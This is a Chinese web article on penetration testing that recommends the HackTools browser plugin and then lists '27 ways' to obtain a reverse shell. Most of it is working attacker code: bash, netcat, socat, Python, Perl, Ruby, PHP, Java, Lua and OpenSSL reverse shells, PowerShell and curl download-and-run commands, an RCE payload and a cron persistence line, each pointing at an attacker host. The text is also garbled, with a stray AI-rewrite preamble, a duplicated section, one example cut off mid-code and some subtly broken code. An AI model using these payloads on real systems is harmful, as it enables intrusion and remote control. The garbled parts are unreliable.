HackTools插件+反弹shell的27种方法

前言

在渗透测试过程中,我们往往要使用很多命令,比如反弹shell、xss测试语句、sql测试语句、Linux常用提权语句、PowerShell常用语句。

为了方便,这里给大家推荐一个插件:HackTools,里面涵盖了渗透测试各种常用的语句

如果不够还有27中反弹shell的方式,HackTools里面有常见的10种反弹shell方式,如果利用不成功可以去看看

往期推荐

oscp+:简介、考试形式、对比其他证书、政策变动

PotatoTool一款功能强大的网络安全综合工具支持免杀、自定义内存马、提权、扫描、一键解密、AI分析、溯源等等

14w+poc,nuclei全家桶:nuclei模版管理工具+Nuclei

灵兔宝盒二开 | 286渗透工具合集,新增OneCS-49_尊享版、vshell4.9.3破解版、Godzilla特战版等24款

红队武器库VulToolsKit全家桶:图形化页面+自己额外添加的一些工具

fscan全家桶:FscanPlus,fs,fscan适用低版本系统,FscanParser

ctf综合利用工具,集成多款AI,94GB大小量大管饱:ctftools-all-in-one_proV2

HackTools插件推荐

下载插件

这里以火狐为例,其他浏览器类似

首先来到扩展管理


搜索插件名:hacktools


最后进入下载即可

hacktools页面展示

10种常见的反弹shell命令

php反弹shell的各种命令:各种马、以及绕过手法

非交互式shell升级为完全交互式的TTY终端

渗透测试常用的Linux命令

渗透测试常用的Powershell命令

渗透测试常用的文件传输命令

LFI,文件包含常用命令

XSS攻击常用语句

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

sql注入常用语句

常见的编码转换

内容编码混淆绕过

常见哈希算法编码

漏洞查找平台推荐

msf 命令生成器

反弹shell的27种方式

1. Bash反弹:简单直接的入门级技巧

对于初学者来说,Bash反弹是最直观且易于理解的方法之一。它利用了Linux系统中内置的/dev/tcp特殊设备,能够轻松建立TCP连接并传输数据。想象一下,就像通过电话线发送信息一样,我们可以通过网络将命令传递给另一端的计算机。

# 攻击者主机上执行监听
nc -lvvp port# 目标主机上执行
bash -i >& /dev/tcp/x.x.x.x/port 0>&1

这里的x.x.x.x代表攻击者的IP地址,而port则是监听端口号。这种方式非常适合那些刚开始接触网络安全的朋友,因为它不需要复杂的编程知识就能实现基本的功能。

2. Netcat反弹:经典工具的新玩法

Netcat(nc)是一款历史悠久但功能强大的网络工具,广泛应用于读写TCP和UDP连接。在反弹shell的应用场景下,Netcat常被用来作为监听器和服务端之间的桥梁。如果你熟悉这个工具的话,下面的例子会让你感到亲切:

# 攻击者主机上执行监听
nc -lvvp port# 目标主机上执行
nc -e /bin/bash x.x.x.x port

然而,并不是所有的Netcat版本都支持-e参数。遇到这种情况时,可以尝试创建命名管道(FIFO),绕过这一限制。这就好比当我们找不到合适的钥匙开门时,可以寻找其他途径进入房间。

3. Telnet反弹:古老却有效的手段

尽管Telnet协议的安全性较低,但它仍然是某些特定环境中不可或缺的一部分。借助两个不同的端口分别处理输入与输出,我们可以巧妙地构建出一个简单的反弹shell架构。这种方法虽然原始,但在某些受限条件下却能发挥意想不到的作用。

# 攻击者主机上打开两个终端分别执行监听
nc -lvvp 4444
nc -lvvp 5555# 目标主机中执行
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

这种做法就像是用两根电话线同时通话,一边听另一边说,确保双方都能顺畅交流。

4. Socat反弹:进阶玩家的选择

Socat是一个多功能的网络工具,其功能远超传统的Netcat。除了基本的TCP连接外,它还提供了诸如伪终端(PTY)等高级特性,使得远程控制体验更加接近真实的命令行界面。对于追求更好交互效果的安全专家而言,Socat无疑是一个理想的选择。

# 攻击者主机上执行监听
socat TCP-LISTEN:port,fork -# 目标主机上执行
socat tcp-connect:x.x.x.x:port exec:'bash -li',pty,stderr,setsid,sigint,sane

这里使用了多个选项来增强会话质量,例如pty用于模拟终端环境,让操作变得更加自然流畅。

5. Python反弹:跨平台利器

Python脚本语言凭借其强大的网络库和广泛的适用性,在反弹shell领域同样占据重要地位。无论是在Windows还是Linux平台上,这段简洁明了的代码都能够帮助你快速建立起稳定的通信链路。

import socket, subprocess, oss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("x.x.x.x", port))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

这段代码创建了一个socket连接,并巧妙地将标准输入、输出以及错误重定向到了该连接上,实现了真正的双向交互。

6. Perl反弹:灵活多变的老牌选手

Perl是一种功能丰富的编程语言,尤其擅长处理文本和网络编程任务。以下是一段典型的Perl反弹shell示例:

use Socket;$i = "x.x.x.x";
$p = port;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if (connect(S, sockaddr_in($p, inet_aton($i)))) {open(STDIN, ">&S");open(STDOUT, ">&S");open(STDERR, ">&S");exec("/bin/sh -i");
}

这段Perl代码不仅建立了TCP连接,还将标准输入、输出及错误输出进行了重定向,为后续的操作打下了坚实的基础。

7. Ruby反弹:简洁优雅的现代选择

Ruby以其简洁优雅著称,是另一种常用于反弹shell的语言。下面这段Ruby代码展示了如何通过TCP连接读取来自攻击者的命令,并执行相应的操作。

require 'socket'c = TCPSocket.new("x.x.x.x", "port")
while(cmd = c.gets)IO.popen(cmd, "r") { |io| c.print io.read }
end

这段代码创建了一个TCP连接,并持续读取攻击者发送过来的命令,然后执行并将结果返回给对方。

8. PHP反弹:Web开发者的秘密武器

PHP是服务器端执行的脚本语言,特别适合用于Web应用程序开发。在Web环境中,PHP反弹shell尤为有用,尤其是在存在文件上传漏洞的情况下。

<?php
$sock = fsockopen("x.x.x.x", port);
exec("/bin/bash -i <&3 >&3 2>&3");
?>

这段PHP代码创建了一个TCP连接,并执行了bash shell,将标准输入、输出和错误输出重定向到了该连接上,从而实现了远程控制。

9. Powershell反弹(Windows环境)

对于Windows操作系统,Powershell是一个非常强大的脚本工具,可用于实现反弹shell。这里介绍了一种基于Powercat脚本的方法:

# 攻击者主机上执行监听(使用Powercat脚本)
powershell IEX (New-Object System.Net.WebClient).DownloadString('http://x.x.x.x:port/powercat.ps1'); powercat -c x.x.x.x -p port -e cmd# 目标主机上执行(假设可以下载并执行Powercat脚本)

Powercat是一个专门设计用于Powershell的反弹shell工具,可以从远程服务器下载并执行,极大地简化了设置过程。

10. OpenSSL反弹:加密通信的保障

OpenSSL不仅可以用于加密通信,还可以用来创建反弹shell。这种方法利用了OpenSSL生成自签名证书的能力,并通过TLS/SSL隧道安全地传输shell会话。

# 攻击者主机上生成密钥并启用监听
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port port# 目标主机上执行
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect x.x.x.x:port > /tmp/s; rm /tmp/s

这种方式不仅保证了通信的安全性,也为后续的操作提供了可靠的保障。

好的,以下是润色后的人性化文章:


在网络安全的战场上,反弹shell技术宛如一把锋利的利刃,让攻击者能够巧妙地潜入目标系统的深处,获取宝贵的交互式访问权限。今天,就让我们一同走进这神秘而又充满挑战的领域,探索那些形形色色的反弹shell方法,感受它们背后蕴含的智慧与力量。

11. Java反弹:搭建起沟通的桥梁

想象一下,用Java构建一个小小的Socket连接,就像是在攻击者与目标系统之间架起了一座桥梁。通过这座桥梁,命令得以穿梭往来。下面这个简单的Java反弹shell示例,就像是一个精心编排的舞蹈,各个组件各司其职,却又默契十足:

import java.io.*;
import java.net.*;public class ReverseShell {public static void main(String[] args) {String host = "x.x.x.x"; // 攻击者IPint port = 1234; // 监听端口try (Socket socket = new Socket(host, port);BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));PrintWriter out = new PrintWriter(socket.getOutputStream(), true);BufferedReader stdIn = new BufferedReader(new InputStreamReader(System.in));BufferedWriter stdOut = new BufferedWriter(new OutputStreamWriter(System.out))) {// 线程一:专注倾听,执行命令new Thread(() -> {try {String command;while ((command = in.readLine()) != null) {Process process = Runtime.getRuntime().exec(command); // 执行命令// 获取命令输出,反馈给攻击者try (BufferedReader processIn = new BufferedReader(new InputStreamReader(process.getInputStream()));BufferedReader processError = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {String line;while ((line = processIn.readLine()) != null) {out.println(line);}while ((line = processError.readLine()) != null) {out.println(line);}}}} catch (Exception e) {e.printStackTrace();}}).start();// 线程二:传递本地shell的输出,让攻击者知晓一切new Thread(() -> {try {String line;while ((line = stdIn.readLine()) != null) {out.println(line);}} catch (IOException e) {e.printStackTrace();}}).start();} catch (IOException e) {e.printStackTrace();}}
}

当你编译并运行这段程序,就像是按下了启动键,让目标系统与攻击者指定的IP和端口紧密相连,从此,攻击者便能在这条通道上畅行无阻地执行各种命令了。

12. Lua反弹:轻量级的灵动之选

Lua,这个轻量级的脚本语言,也在这场技术盛宴中占有一席之地。它的反弹shell示例,简洁而高效,宛如一位灵动的舞者,在代码的世界里轻盈起舞:

local host = "x.x.x.x"
local port = 1234
local socket = require("socket")
local tcp = socket.tcp()
tcp:connect(host, port)local function read_command()local command = tcp:receive("*l")return command
endlocal function execute_command(command)local file = io.popen(command)local output = file:read("*all")file:close()tcp:send(output .. "\n")
endwhile true dolocal command = read_command()if command == nil thenbreakendexecute_command(command)
endtcp:close()

不过,别忘了,Lua标准库可不自带socket模块哦,实际使用时,你可能需要费点心思,去安装一个额外的Lua socket库,才能让这段代码顺利施展它的魔力。

13. Nishang框架(PowerShell):渗透测试的得力助手

Nishang,这个用于渗透测试的PowerShell攻击框架,就像是一个装备精良的战士,携带着多种反弹shell脚本,随时准备投入战斗。瞧,使用它的Invoke-ReverseTCPShell脚本,过程是如此干脆利落:

# 在攻击者机器上,先做好监听的准备
IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-PowerShellTcp.ps1')
Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x -Port 1234# 然后,在目标机器上,只需轻轻一挥魔法棒(假设可以下载并执行脚本)
IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-ReverseTcpShell.ps1')
Invoke-ReverseTcpShell -IPAddress x.x.x.x -Port 1234

当然啦,在这之前,你得把Invoke-PowerShellTcp.ps1Invoke-ReverseTcpShell.ps1这两个脚本上传到Web服务器上,还得确保目标机器能够顺利访问到它们,这就好比是为战士准备好充足的弹药,才能让战斗顺利进行。

14. 使用Web服务器:巧妙借力的策略

借助Web服务器来上传并执行包含反弹shell代码的Web脚本,这可是一种既常见又巧妙的反弹shell方法。就拿这个简单的PHP反弹shell示例来说,它就像是一个潜伏在Web服务器中的小特工,等待着被触发的那一刻:

<?php
$ip = 'x.x.x.x'; // 攻击者IP
$port = 1234; // 监听端口
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/bash -i', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>

当你把这个PHP脚本悄悄上传到目标Web服务器的可访问目录中,再通过浏览器轻轻一点访问它,瞬间,反弹shell连接便建立了起来,就像是打开了通往目标系统深处的一扇神秘大门。

15. 利用系统工具(如curl或wget):简单粗暴却有效

有时候,简单粗暴的方法反而能取得意想不到的效果。利用系统自带的curlwget等工具来下载并执行反弹shell脚本,就是这样一种让人眼前一亮的招数。比如,使用curl下载并执行反弹shell脚本,过程是这样的:

# 先在攻击者机器上,创建一个简单的bash反弹shell脚本,并把它托管在Web服务器上
echo 'bash -i >& /dev/tcp/x.x.x.x/1234 0>&1' > reverse_shell.sh
python3 -m http.server 80  # 使用Python的HTTP服务器来托管脚本# 然后,在目标机器上,只需用一条curl命令,就能把反弹shell脚本下载下来并执行
curl http://x.x.x.x/reverse_shell.sh | bash

16. 利用漏洞(如远程代码执行漏洞):直击要害的奇袭

如果目标系统不幸存在远程代码执行(RCE)漏洞,那可真是攻击者的福音。攻击者可以直接利用这个漏洞,像一把利刃直插目标系统的心脏,执行反弹shell命令。假设目标系统有个RCE漏洞,可以通过URL参数执行任意命令,那就可以这样构造反弹shell命令并利用漏洞执行:

# 构造反弹shell命令并通过RCE漏洞执行
curl "http://target.com/vulnerable_page.php?cmd=bash -i >& /dev/tcp/x.x.x.x/1234 0>&1" 

不过,实际的RCE漏洞利用可没这么简单,你得根据漏洞的具体情况,精心调整策略,才能确保奇袭成功。

17. 自定义脚本:量身打造的专属利器

不同的目标系统,有着不同的环境和权限特点。攻击者可以根据这些特点,精心编写自定义的反弹shell脚本,就像是为每个目标量身打造一把专属的钥匙。比如这个简单的自定义Python反弹shell脚本,它就像是一个灵活的忍者,能在目标系统中悄无声息地建立连接:

import os
import sockethost = 'x.x.x.x'  # 攻击者IP
port = 1234  # 监听端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))os.dup2(s.fileno(), 0)  # stdin
os.dup2(s.fileno(), 1)  # stdout
os.dup2(s.fileno(), 2)  # stderros.system('/bin/bash -i')

把这段脚本上传到目标系统并执行,目标系统就像是被施了魔法,乖乖地与攻击者建立了反弹shell连接。

18. 使用Python的pty库模拟终端:追求极致体验的尝试

对于追求更真实shell体验的攻击者来说,Python的pty库就像是一把神奇的钥匙,能打开通往伪终端(pseudo-terminal)世界的大门,让反弹shell的交互更加流畅自然:

import os
import pty
import sockethost = 'x.x.x.x
### 利用Python的`paramiko`库进行SSH反弹在网络安全领域,特别是渗透测试中,SSH反弹技术是一种重要的手段。当目标系统允许SSH连接,并且攻击者拥有相应的凭证时,可以使用Python的`paramiko`库来实现SSH反弹。为了实现这一目的,首先需要在攻击者的机器上设置一个SSH服务器以监听来自目标系统的连接请求。通常情况下,这可以通过现有的SSH服务器完成,或者利用Python的SSH库(如`paramiko`的`ServerInterface`)来模拟。假设已经有一个SSH服务器处于监听状态,那么接下来就是在目标端执行一段Python代码来建立反向连接:​```python
import paramiko
import subprocess
import os# 攻击者SSH服务器的信息
hostname = 'x.x.x.x'  # 攻击者SSH服务器IP
port = 22
username = 'attacker_user'
password = 'attacker_password'# 创建SSH客户端实例并自动添加主机密钥
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 连接到攻击者的SSH服务器
client.connect(hostname, port, username, password)# 开启一个反向隧道
transport = client.get_transport()
chan = transport.open_session()
chan.invoke_shell()# 将标准输入、输出和错误输出重定向到该SSH会话
os.dup2(chan.makefile('wb', -1).fileno(), 1)
os.dup2(chan.makefile('rb', -1).fileno(), 0)
os.dup2(chan.makefile_stderr('rb', -1).fileno(), 2)# 启动bash shell
os.execvp('/bin/bash', ['/bin/bash', '-i'])

值得注意的是,上述方法要求攻击者控制一个有效的SSH服务器,并且目标系统必须允许SSH连接。此外,由于paramikoServerInterface较为复杂,这里假设已经有了一个准备就绪的SSH服务器来进行监听。

19.利用Python的paramiko库进行SSH反弹

攻击者需在本地搭建SSH服务器以监听连接请求。可借助外部SSH服务器,或利用Python的paramiko库中的ServerInterface类自行模拟。鉴于ServerInterface的复杂性,本文假设已存在一个处于监听状态的SSH服务器。

目标端需执行以下Python代码,以建立与攻击者SSH服务器的连接:

import paramiko
import subprocess
import os# 目标端Python代码
hostname = 'x.x.x.x'  # 攻击者SSH服务器IP
port = 22
username = 'attacker_user'
password = 'attacker_password'client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname, port, username, password)# 开启反向隧道
transport = client.get_transport()
chan = transport.open_session()
chan.invoke_shell()# 重定向标准输入、输出及错误输出至SSH会话
os.dup2(chan.makefile('wb', -1).fileno(), 1)
os.dup2(chan.makefile('rb', -1).fileno(), 0)
os.dup2(chan.makefile_stderr('rb', -1).fileno(), 2)# 启动bash shell
os.execvp('/bin/bash', ['/bin/bash', '-i'])

通过上述代码,目标系统与攻击者SSH服务器建立起连接,开启反向隧道,并将标准输入、输出及错误输出重定向至SSH会话,最终启动bash shell,完成SSH反弹过程。

注意事项

  1. 本方法的前提是攻击者需控制一个SSH服务器,且目标系统允许SSH连接。
  2. 鉴于paramikoServerInterface较为复杂,本文基于已有SSH服务器处于监听状态的假设进行阐述。在实际应用中,根据具体场景,可能需对代码进行适当调整与优化,以确保SSH反弹操作的顺利实施。

20.使用Perl的IO::Socket模块实现反弹Shell

除了Python之外,Perl语言中的IO::Socket模块同样可以用于创建网络连接,进而实现反弹shell的功能。下面是一段示例代码:

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;my $remote_ip = 'x.x.x.x';  # 攻击者IP
my $remote_port = 1234;     # 监听端口# 创建socket对象
my $sock = IO::Socket::INET->new(PeerAddr => $remote_ip,PeerPort => $remote_port,Proto    => 'tcp'
);die "Could not create socket: $!\n" unless $sock;# 将标准输入、输出和错误输出重定向到socket
open STDIN, ">&=$sock";
open STDOUT, ">&=$sock";
open STDERR, ">&=$sock";# 启动shell
exec("/bin/bash -i");

这段代码通过创建TCP连接并将标准流重定向至socket,实现了与远程攻击者之间的交互式shell连接。

21.Java环境下使用JSch库进行SSH反弹

对于Java环境而言,JSch是一个纯Java实现的SSH2库,它能够用来创建SSH连接。如果目标系统允许SSH连接并且攻击者持有正确的凭证,那么就可以考虑使用JSch来进行SSH反弹。具体实现思路类似于paramiko,即先在攻击者端配置好SSH服务器,再让目标端使用JSch库连接到该服务器并开启反向隧道。

然而,鉴于Java编程相较于Python或Perl更加复杂,这里不再提供完整的Java代码示例,但基本步骤包括设置SSH服务器、处理认证等操作。

22.Ruby中的drb(Distributed Ruby)作为反弹Shell的选择

Ruby语言下的drb(Distributed Ruby)主要用于构建分布式对象系统。尽管它并非专门为反弹shell设计,但在特定情境下也可以作为一种选择。不过,相比其他方式,这种方式实现起来可能更为复杂,因为需要攻击者事先搭建好DRuby服务器。

23.借助目标系统的计划任务或cron作业达成反弹Shell

如果攻击者能够在目标系统中添加计划任务或cron作业,则可以通过设置定时任务的方式来定期执行反弹shell命令。例如,在Linux系统中,可以使用crontab -e命令添加如下条目:

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/x.x.x.x/1234 0>&1'

此命令意味着每分钟都会尝试与指定IP地址及端口建立连接,一旦成功便返回一个交互式的shell给攻击者。当然,这种方法的前提是攻击者具备足够的权限去修改目标系统的计划任务或cron作业。

24. 借助目标系统的服务或守护进程

部分服务或守护进程可能为攻击者提供了配置外部命令或脚本执行的途径。攻击者可利用此类服务,植入反弹shell命令,以实现对目标系统的控制。

以Web服务器为例,部分服务器允许在配置文件中设定错误处理脚本。攻击者若能篡改这些配置文件,便可在错误发生时触发反弹shell命令的执行。

须知:运用此方法,攻击者需具备修改目标系统服务或守护进程配置的权限。

25. 运用目标系统的漏洞利用工具集

众多漏洞利用工具集,如Metasploit Framework等,内置了自动化的反弹shell功能。攻击者可借助这些工具集,针对目标系统的已知漏洞进行利用,并自动执行反弹shell命令,从而获取系统控制权。

须知:使用漏洞利用工具集,要求攻击者对目标系统的漏洞有深入且准确的了解,并确保所使用的工具集为最新版本且无安全漏洞。

26. 利用目标系统的内置脚本语言Web接口

若目标系统开放了内置脚本语言(如Python、Perl等)的Web接口,如CGI、FastCGI等,攻击者便有机会利用这些接口执行反弹shell命令。

例如,攻击者可上传含有反弹shell代码的CGI脚本,并通过Web浏览器访问该脚本,进而触发反弹shell的执行。

须知:此方法要求攻击者能够上传并执行Web脚本,且目标系统需允许相关脚本语言的Web接口运行。

27. 利用目标系统的远程桌面协议反向连接功能

一些远程桌面协议,如RDP、VNC等,支持反向连接模式,即目标系统可主动连接至攻击者的机器。攻击者可对这些协议进行配置,启用反向连接模式,并在目标系统上启动远程桌面客户端,以此建立连接,实现对目标系统的控制。

须知:采用此方法,攻击者需拥有在目标系统上启动远程桌面客户端的权限,且目标系统需具备反向连接功能的支持。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/22621.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java语法-IO流

Java语法 Java基础语法 IO流 一、File类 /* java.io.File 文件类 提供了用于操作文件 创建文件 获取文件信息等 各种文件相关的方法 exists() 判断文件或目录是否存在 boolean isFile() 判断是否是文件 boolean isDirectory() 判断是否是目录 String getPath(…

Microsoft Office 2024 软件安装教程(免费)

1.通过百度网盘下载Microsoft Office 2024安装包 下载地址为: https://pan.baidu.com/s/1jk1kvQsKFH9dZGF5xfGgiQ?pwdjbkv 提取码: jbkv 。 2.安装环境 Win10~Win11或更高。 3.安装步骤 &#xff08;1&#xff09;下载压缩包&#xff0c;解压缩。 &#xff08;2&#xf…

鸿蒙NEXT应用App测试-专项测试(DevEco Testing)

注意&#xff1a;大家记得先学通用测试在学专项测试 鸿蒙NEXT应用App测试-通用测试-CSDN博客 注意&#xff1a;博主有个鸿蒙专栏&#xff0c;里面从上到下有关于鸿蒙next的教学文档&#xff0c;大家感兴趣可以学习下 如果大家觉得博主文章写的好的话&#xff0c;可以点下关注…

【学习笔记】【SpringCloud】MybatisPlus 基础使用

目录 一、使用 MybatisPlus 基本步骤 1. 引入 MybatisPlus 依赖 2. 定义Mapper接口并继承BaseMapper 二、MybatisPlus 常用配置 三、自定义SQL 四、IService 接口 1. 批量新增的效率问题 2. 配置方式 五、插件功能 1. 分页插件 一、使用 MybatisPlus 基本步骤 1. 引…

球队训练信息管理系统设计与实现(代码+数据库+LW)

摘 要 传统办法管理信息首先需要花费的时间比较多&#xff0c;其次数据出错率比较高&#xff0c;而且对错误的数据进行更改也比较困难&#xff0c;最后&#xff0c;检索数据费事费力。因此&#xff0c;在计算机上安装球队训练信息管理系统软件来发挥其高效地信息处理的作用&a…

使用Dify将AI机器人嵌入到你的前端页面中及chrome的扩展应用

目录 1 博主有话说2 前提环境3 Dify创建个聊天助手应用4 将AI聊天机器人嵌入到html中5 将AI聊天机器人设置为chrome的扩展应用6 博主增语 1 博主有话说 那博主话不多说&#xff0c;先展示一下成果&#xff01; 这个界面是使用dify配置的一个“聊天助手”的应用&#xff0c;助…

Oracle JDK、Open JDK zulu下载地址

一、Oracle JDK https://www.oracle.com/java/technologies/downloads/ 刚进去是最新的版本&#xff0c;往下滑可以看到老版本 二、Open JDK的 Azul Zulu https://www.azul.com/downloads/ 直接可以选版本等选项卡

PiscTrace开发者版:只需考虑算法的视图处理应用

在计算机视觉领域&#xff0c;处理图像和视频数据的需求日益增长。无论是在智能监控、自动驾驶&#xff0c;还是工业检测中&#xff0c;图像处理都扮演着至关重要的角色。基于 OpenCV 的视图处理工具&#xff0c;专为需要高度定制和精确图像处理的开发者而设计。 一、CodeTrac…

线性回归 (Linear Regression)基础知识1

本章节主要介绍&#xff1a;回归任务简介、线性回归模型、回归任务的损失函数 *回归任务*机器学习的三要素线性回归线性回归模型 *数据分析*散点图*相关性系数矩阵 *拓展知识&#xff1a;相关性系数矩阵定义计算相关性系数矩阵示例应用 线性回归的损失函数回归任务目标函数&…

直角三角堰计算公式

直角三角堰的计算公式通常用于确定流经直角三角形形状的堰的流量。河北瑾航科技遥测终端机 通过采集液位数据(模拟量、串口485/232)&#xff0c;计算得到瞬时流量&#xff0c;然后通过积分进行累计算出累积量&#xff1b;直角三角堰的流量计算公式为&#xff1a; 直角三角堰 计…

《深度学习实战》第2集:卷积神经网络(CNN)与图像分类

《深度学习实战》第2集&#xff1a;卷积神经网络&#xff08;CNN&#xff09;与图像分类 引言 卷积神经网络&#xff08;Convolutional Neural Network, CNN&#xff09;是深度学习在计算机视觉领域的核心工具。从早期的 LeNet 到现代的 ResNet 和 Vision Transformer&#xf…

github 怎么创建一个私有repository 并从另外一台电脑拉取下来更新

1.github上新建一个repository 设置为private tips删除在这 点setting 然后往下拖动 会有个这里是用来删项目的 2.另外 一台电脑拉取这个repository的时候 需要配置 一个ssh key 这个key的内容生成参考本地电脑的生成 然后在这配置 2.1 生成 SSH 密钥&#xff08;如果还没有…

deepseek自动化代码生成

使用流程 效果第一步&#xff1a;注册生成各种大模型的API第二步&#xff1a;注册成功后生成API第三步&#xff1a;下载vscode在vscode中下载agent&#xff0c;这里推荐使用cline 第四步&#xff1a;安装完成后&#xff0c;设置模型信息第一步选择API provider&#xff1a; Ope…

分布式事务-本地消息表学习与落地方案

本文参考&#xff1a; 数据库事务系列04-本地消息表实现分布式事务 基础概念 本地消息表实现分布式事务最终一致性的核心&#xff1a;是通过上游本地事务的原子性持久性&#xff0c;配合中间件的重试机制&#xff0c;从而实现调用下游的最终一致性。 这里有几个要点可以解析一…

亚马逊云科技 re:Invent 2023:科技前沿风向标,探索未来云计算之窗

文章目录 一、前言二、什么是亚马逊云科技 re:Invent&#xff1f;三、亚马逊云科技 re:Invent 2023 将于何时何地举行四、亚马逊云科技 re:Invent 2023 有什么内容&#xff1f;4.1 亚马逊云科技 re:Invent 2023 主题演讲4.2 亚马逊云科技行业专家探实战 五、更多亚马逊云科技活…

C++——list模拟实现

目录 前言 一、list的结构 二、默认成员函数 构造函数 析构函数 clear 拷贝构造 赋值重载 swap 三、容量相关 empty size 四、数据访问 front/back 五、普通迭代器 begin/end 六、const迭代器 begin/end 七、插入数据 insert push_back push_front 八、…

虚拟机从零实现机器人控制

1. 系统安装 因Docker不适合需要图形界面的开发&#xff0c;因此使用虚拟机VMware方便可视化界面方式查看效果&#xff0c;相关软件可以从官网下载&#xff0c;这里有一整套免费安装文件百度网盘地址&#xff1a; 2. ROS安装 Ubuntu 22.04&#xff1a;https://docs.ros.org…

【Blender】二、建模篇--06,曲线建模/父子级和蒙皮修改器

00:00:03,620 --> 00:00:09,500 前几节可能我们已经做了很多种类型的模型了 但是有一种类型 我们一直避开就是这种管道 1 00:00:10,050 --> 00:00:19,370 藤条头发啊 衣服架子啊这种弯弯绕绕的 需要一定柔软度的模型 那么这节课呢我们都来集中看一下曲线的模型 我们应该…

机器学习实战(7):聚类算法——发现数据中的隐藏模式

第7集&#xff1a;聚类算法——发现数据中的隐藏模式 在机器学习中&#xff0c;聚类&#xff08;Clustering&#xff09; 是一种无监督学习方法&#xff0c;用于发现数据中的隐藏模式或分组。与分类任务不同&#xff0c;聚类不需要标签&#xff0c;而是根据数据的相似性将其划…

静态时序分析:时钟组间的逻辑独立、物理独立和异步的区别

相关阅读 静态时序分析https://blog.csdn.net/weixin_45791458/category_12567571.html 当设计中存在多个时钟&#xff08;同步或异步&#xff09;时&#xff0c;该如何使用SDC命令约束设计呢&#xff1f;本文就将对此进行讨论。 逻辑独立 例1 多个时钟完全逻辑独立 图1 逻辑…